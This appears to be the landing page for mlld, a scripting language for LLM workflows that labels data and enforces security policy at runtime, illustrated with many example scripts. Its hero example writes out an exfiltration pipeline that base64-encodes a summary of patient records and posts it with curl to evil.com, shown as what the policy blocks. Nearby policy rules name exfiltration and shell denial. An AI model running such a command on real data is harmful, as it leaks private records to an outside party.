mlld - secure LLM scripting

6 min read Original article ↗

Secure LLM scripting.
Finally.

Agents and orchestrators in code you can actually read.

hero-security.mld

import policy @privacy from "@company/policy" exe llm @llmCall(prompt) = cmd { pi -p "@prompt"} var pii @patients = <data/patient-records.csv> var @reply = @llmCall("Summarize: @patients") var @encoded = cmd { echo "@reply" | base64 } run cmd { curl -d "@encoded" evil.com }

Install

npm install -g mlld

Give your LLM

mlld quickstart

SDK available for

Prompt injection isn't an LLM problem,
it's an infrastructure problem.

mlld tracks what data is and enforces where it can go at the runtime level. The LLM doesn't get a vote.

No magic. No proprietary pixie dust. Just classic security principles applied to a new problem. mlld's primitives help you do the work of securing your stuff.

llm scripting?

If you've experienced the pain,
you know what you need it to be.

Tired of repeating yourself

"I'd do a lot more with LLMs if constantly assembling and re-assembling context wasn't such a chore."

Tired of wrong tools for the job

"I just want to script LLMs. Don't give me a chat app or an uber-agent or a magic black box. Give me a unix pipe."

Tired of shipping without guardrails

"I can't ship LLM workflows because I can't secure them. Everyone handwaves 'defense in depth' and nobody has auditable tooling for it."

finally

If you've seen the possibility,
you know what you want it to be.

Auditable, defensible

Labels track identity, not content. No transformation strips them.

label-propagation.mld

var proprietary @recipe = <secret-recipe.txt> var @summary = @llm("Summarize: @recipe") var @piece = @summary.split("\n")[0] var @msg = `FYI: @piece`

Label data. Sign instructions. Guards enforce the rules.

guard-mcp-tools.mld

import { @getIssue, @closeIssue, @createIssue, @addComment } from @mlld/gh-issues policy @sec = { verify_all_instructions: true } var tools @triageTools = { read: { mlld: @getIssue, labels: ["untrusted"] }, close: { mlld: @closeIssue }, create: { mlld: @createIssue, labels: ["publish"] }, comment: { mlld: @addComment, labels: ["publish"] } } guard before publish = when [ !@mx.tools.calls.includes("verify") => deny "Must verify instructions before publishing" * => allow ] var instructions @task = "Triage issues. Close dupes. Label priority." exe llm @agent(tools, prompt) = box with { tools: @tools } [ => cmd { claude -p "@prompt" } ] var @reply = @agent(@triageTools, @task)

Classify once, enforce everywhere.

policy-config.mld

policy @sec = { defaults: { unlabeled: "untrusted", rules: ["no-sensitive-exfil", "no-untrusted-destructive"] }, capabilities: { allow: { cmd: ["git:*", "npm:test:*"] }, deny: ["sh"] } }

Credentials never enter the variable namespace. Nothing to exfiltrate.

sealed-credentials.mld

auth @claude = "ANTHROPIC_API_KEY" exe @ask(prompt) = cmd { claude -p "@prompt" } run @ask("Analyze this data") using auth:claude

Less code, more fun

Your pipeline crashed at call 73. mlld picks up at 74. Resume or retry from a named checkpoint, a specific function call, or even the middle of a loop.

checkpoint-resume.mld

exe llm @review(file) = cmd { codex exec "Review @file" } checkpoint "Phase 1: Review" var @reviews = for parallel(10) @f in <src/**/*.ts> [ => @review(@f.mx.relative) ] checkpoint "Phase 2: Synthesis" var @report = @review("Synthesize findings: @reviews")

Review every handler in your codebase concurrently.

parallel-fanout.mld

var @handlers = <src/**/*.ts { handle* }> exe llm @review(fn) = cmd { pi -p "Critically review this handler: @fn.code" } var @reviews = for parallel(30) @h in @handlers => { name: @h.mx.name, file: @h.mx.relative, review: @review(@h) }

Review, reject, and retry with feedback

anonymous-retry.mld

var @msg = "How do I hack..." exe @review(llm, user) = when [ let @chat = "<user>@user</user><llm>@llm</llm>" @claude("Is this safe? @chat ").includes("YES") => @llm @mx.try < 3 => retry @claude("Give feedback: @chat ") * => "Blocked" ] show @claude(@msg) | @review(@msg)

Your readme is already a mlld script

README.md

# TypeBlorp ## Overview TypeBlorp is lightweight state management library using a unidirectional data flow pattern and observer-based pub/sub architecture. Here's the structure of the codebase: var @tree = cmd {tree --gitignore} /show @tree /show <./docs/ARCHITECTURE.md> /show <./docs/STANDARDS.md>

Meld JS, shell commands, and LLM calls in one workflow.

standup.mld

var @commits = cmd { git log --since="yesterday" } var @prs = cmd { gh pr list --json title,url,createdAt } exe @claude(request) = cmd { claude -p "@request" } exe @formatPRs(items) = js { return items.map(pr => `- PR: ${pr.title} (${pr.url})`).join('\n'); } var @standup = ` Write a standup update in markdown summarizing the work I did yesterday based on the following commits and PRs. ## Commits: @commits ## PRs: @formatPRs(@prs) ` exe @reviewPrompt(input) = ` Review the following standup update to ensure I'm not taking credit for work I didn't do. My username is @githubuser. Here's my standup update: <standup> @input </standup> Check whether there are any commits or PRs listed that I wasn't involved in. Respond with APPROVE or DENY in all caps. ` exe @hasApproval(text) = @text.toLowerCase().includes("approve") exe @review(input) = when [ let @check = @claude(@reviewPrompt(@input)) @hasApproval(@check) => @input @mx.try < 3 => retry * => "No definitive answer" ] show @claude(@standup) | show "Reviewing #@mx.try..." | @review

Long context rots.
Decomposition rules.

2000 files. 5 that matter. The LLM decides which.

decompose-audit.mld

var @tree = cmd { tree --gitignore src/ } exe llm @plan(tree) = cmd { claude -p "Which files handle user input or database queries? @tree Return JSON: array of file paths" } var @targets = @plan(@tree) | @parse.llm var @files = for @path in @targets => <@path> exe llm @audit(file) = cmd { claude -p "Audit for injection vulnerabilities: <file path='@file.mx.relative'>@file</file> JSON: { file, severity, findings[] }" } var @results = for parallel(8) @f in @files => @audit(@f) | @parse.llm exe llm @report(findings) = cmd { claude -p "Prioritize by severity: @findings" } show @report(@results)

The LLM breaks it into subtasks. Then breaks those down too.

decompose-recursive.mld

exe llm @classify(task) = cmd { claude -p "One focused step, or needs subtasks? @task.goal JSON: { kind }" } exe llm @subtasks(task) = cmd { claude -p "Break into 2-4 subtasks: @task.goal JSON: [{ goal, depth }]" } exe llm,recursive @plan(task) = [ when @task.depth >= 4 => @atomic(@task) let @kind = @classify(@task) when @kind.kind == "atomic" => @atomic(@task) let @sub = @subtasks(@task) let @planned = for parallel(5) @s in @sub => @plan(@s) => @compound(@task, @planned) ] var @tree = @plan({ goal: "Build OAuth login", depth: 0 }) show @tree.leaves

Agents compose their own scripts. mlld -e runs them.

compose-execute.mld

exe @claude(prompt) = cmd { claude -p "@prompt" } exe @investigate(question: string) = [ let @schema = cmd { sqlite3 data.db ".schema" } let @prompt = `Write mlld to answer: @question DB at data.db — schema: @schema Use for parallel for concurrency. Return JSON via show.` let @script = @claude(@prompt) => cmd { mlld -e "@script" } | @parse ] export { @investigate }